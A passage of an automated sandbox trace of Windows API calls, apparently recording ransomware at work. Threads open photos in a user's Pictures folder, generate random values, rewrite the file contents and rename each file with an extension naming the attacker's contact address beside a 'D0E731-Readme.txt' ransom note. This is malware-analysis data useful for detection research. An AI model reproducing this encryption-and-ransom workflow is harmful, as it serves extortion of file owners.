lpOverlapped=0x0 | out: lpBuffer=0x1146fcc8*, lpNumberOfBytesWritten=0x1146fcb0*=0x4, lpOverlapped=0x0) returned 1 [0169.884] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1146fcb0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1146fcb0*=0x4, lpOverlapped=0x0) returned 1 [0169.884] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1146fcb0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1146fcb0*=0x6c, lpOverlapped=0x0) returned 1 [0169.884] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1146fcb0, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x1146fcb0*=0x20, lpOverlapped=0x0) returned 1 [0169.884] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1146fcb0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1146fcb0*=0x4, lpOverlapped=0x0) returned 1 [0169.884] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.884] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0169.884] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88598) returned 1 [0169.884] CloseHandle (hObject=0x370) returned 1 [0169.884] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd0) returned 0x2ff16d0 [0169.885] wcscpy (in: _Dest=0x2ff16d0, _Source="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731" [0169.885] wcscat (in: _Dest=0x2ff16d0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.885] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\lsyeltg7.bmp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\lsyeltg7.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.885] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.885] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff16d0) returned 1 [0169.886] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.886] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa46c0 [0169.886] wcscpy (in: _Dest=0x2fa46c0, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.886] wcscat (in: _Dest=0x2fa46c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.886] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.886] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa46c0) returned 1 [0169.886] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe50a0) returned 1 [0169.886] RtlExitUserThread (Status=0x1) Thread: id = 1869 os_tid = 0xcb8 [0169.910] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\my4vxcd0r8j6i-at bpl.jpg.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.911] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.911] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\my4vxcd0r8j6i-at bpl.jpg.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.912] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x114efe28 | out: lpFileSize=0x114efe28*=83273) returned 1 [0169.912] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x14545, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.912] ReadFile (in: hFile=0x370, lpBuffer=0x114efdfc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x114efdf8, lpOverlapped=0x0 | out: lpBuffer=0x114efdfc*, lpNumberOfBytesRead=0x114efdf8*=0x4, lpOverlapped=0x0) returned 1 [0169.913] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.913] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887c8 [0169.913] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0169.913] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88750 [0169.913] NtQuerySystemTime (in: CurrentTime=0x114efdd4 | out: CurrentTime=0x114efdd4*=132121213272252300) returned 0x0 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x760aaed0 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x8ffb7467 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x22847360 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x355a86a6 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x7e49cb16 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x184787b7 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0xf01ccc32 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x5734773a [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x48c346e3 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0xc8800265 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0xcf5d3ff9 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0xa1dfd95b [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0xf5ad56de [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x67b7682d [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x88a9c8db [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x18883e18 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x3a880231 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x5cdafb7a [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0xb3e7d98d [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x111a0003 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0xbd7d95c6 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0xad4938e8 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x8a061a78 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0xe419651d [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x78ea509b [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0xa092eb26 [0169.913] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x664dc8cf [0169.914] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x4718d1a0 [0169.914] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x8925ad7c [0169.914] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0x20cebb54 [0169.914] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0xa2e6313b [0169.914] RtlRandom (in: Seed=0x114efde0 | out: Seed=0x114efde0) returned 0xe6347dad [0169.923] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88688 [0169.925] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.925] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88598 [0169.925] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.925] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f887c8) returned 1 [0169.925] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.925] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.925] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x114efdac, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x114efdac*=0x4096, lpOverlapped=0x0) returned 1 [0169.925] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.925] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.925] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0169.925] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88638 [0169.925] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88638) returned 1 [0169.926] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.926] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887a0 [0169.926] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886b0 [0169.926] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886b0) returned 1 [0169.926] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0169.926] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.926] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x114efdac, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x114efdac*=0x4096, lpOverlapped=0x0) returned 1 [0169.926] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.926] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x14549, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.926] WriteFile (in: hFile=0x370, lpBuffer=0x2f887a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x114efde4, lpOverlapped=0x0 | out: lpBuffer=0x2f887a0*, lpNumberOfBytesWritten=0x114efde4*=0x20, lpOverlapped=0x0) returned 1 [0169.927] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f887a0) returned 1 [0169.927] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.927] WriteFile (in: hFile=0x370, lpBuffer=0x2f88598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x114efdf8, lpOverlapped=0x0 | out: lpBuffer=0x2f88598*, lpNumberOfBytesWritten=0x114efdf8*=0x8, lpOverlapped=0x0) returned 1 [0169.927] WriteFile (in: hFile=0x370, lpBuffer=0x114efe10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x114efdf8, lpOverlapped=0x0 | out: lpBuffer=0x114efe10*, lpNumberOfBytesWritten=0x114efdf8*=0x4, lpOverlapped=0x0) returned 1 [0169.928] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x114efdf8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x114efdf8*=0x4, lpOverlapped=0x0) returned 1 [0169.928] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x114efdf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x114efdf8*=0x6c, lpOverlapped=0x0) returned 1 [0169.928] WriteFile (in: hFile=0x370, lpBuffer=0x2f88818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x114efdf8, lpOverlapped=0x0 | out: lpBuffer=0x2f88818*, lpNumberOfBytesWritten=0x114efdf8*=0x20, lpOverlapped=0x0) returned 1 [0169.928] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x114efdf8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x114efdf8*=0x4, lpOverlapped=0x0) returned 1 [0169.928] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0169.928] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88688) returned 1 [0169.928] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88598) returned 1 [0169.928] CloseHandle (hObject=0x370) returned 1 [0169.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc4760 [0169.928] wcscpy (in: _Dest=0x2fc4760, _Source="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731" [0169.928] wcscat (in: _Dest=0x2fc4760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.928] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\my4vxcd0r8j6i-at bpl.jpg.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\my4vxcd0r8j6i-at bpl.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.929] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.929] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4760) returned 1 [0169.929] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.929] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.929] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.930] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.930] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.930] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.930] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e1e0) returned 1 [0169.930] RtlExitUserThread (Status=0x1) Thread: id = 1870 os_tid = 0x5b0 [0169.931] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\n3cu4iuu_-xu48.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.931] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.931] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\n3cu4iuu_-xu48.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.931] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x1156fc4c | out: lpFileSize=0x1156fc4c*=29347) returned 1 [0169.931] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x729f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.931] ReadFile (in: hFile=0x370, lpBuffer=0x1156fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1156fc1c, lpOverlapped=0x0 | out: lpBuffer=0x1156fc20*, lpNumberOfBytesRead=0x1156fc1c*=0x4, lpOverlapped=0x0) returned 1 [0169.932] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887c8 [0169.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0169.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88778 [0169.932] NtQuerySystemTime (in: CurrentTime=0x1156fbf8 | out: CurrentTime=0x1156fbf8*=132121213272407987) returned 0x0 [0169.932] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0xfd4f4211 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0xfee0825b [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x62198754 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0xc659dfb1 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x1ba76ef7 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x53e8ab9b [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0xa8148f33 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0xefce4d67 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0xc448f1cd [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0xe5d32bad [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x7d3fa84a [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x9147d6ab [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0xf09bd3c8 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x890fbf7a [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0xb33ac4e1 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x4112b651 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x44b1c594 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0xc687fe68 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x78873611 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x58008016 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0xd26984d6 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x4eeec95b [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x806a2f64 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x4c482604 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x369b270e [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x31f1588 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x528e4192 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x1730f9a [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0xdc173eb6 [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0xc8bc46ab [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x25f46d2c [0169.933] RtlRandom (in: Seed=0x1156fc04 | out: Seed=0x1156fc04) returned 0x7add50dc [0169.943] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88688 [0169.944] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.944] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88598 [0169.944] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.945] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f887c8) returned 1 [0169.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.945] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.945] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1156fbd0, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x1156fbd0*=0x4096, lpOverlapped=0x0) returned 1 [0169.945] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0169.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88638 [0169.945] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88638) returned 1 [0169.946] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.946] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887a0 [0169.946] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886b0 [0169.946] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886b0) returned 1 [0169.946] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0169.946] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.946] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1156fbd0, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x1156fbd0*=0x4096, lpOverlapped=0x0) returned 1 [0169.947] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.947] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x72a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.947] WriteFile (in: hFile=0x370, lpBuffer=0x2f887a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1156fc08, lpOverlapped=0x0 | out: lpBuffer=0x2f887a0*, lpNumberOfBytesWritten=0x1156fc08*=0x20, lpOverlapped=0x0) returned 1 [0169.947] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f887a0) returned 1 [0169.947] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.947] WriteFile (in: hFile=0x370, lpBuffer=0x2f88598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1156fc1c, lpOverlapped=0x0 | out: lpBuffer=0x2f88598*, lpNumberOfBytesWritten=0x1156fc1c*=0x8, lpOverlapped=0x0) returned 1 [0169.947] WriteFile (in: hFile=0x370, lpBuffer=0x1156fc34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1156fc1c, lpOverlapped=0x0 | out: lpBuffer=0x1156fc34*, lpNumberOfBytesWritten=0x1156fc1c*=0x4, lpOverlapped=0x0) returned 1 [0169.948] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1156fc1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1156fc1c*=0x4, lpOverlapped=0x0) returned 1 [0169.948] 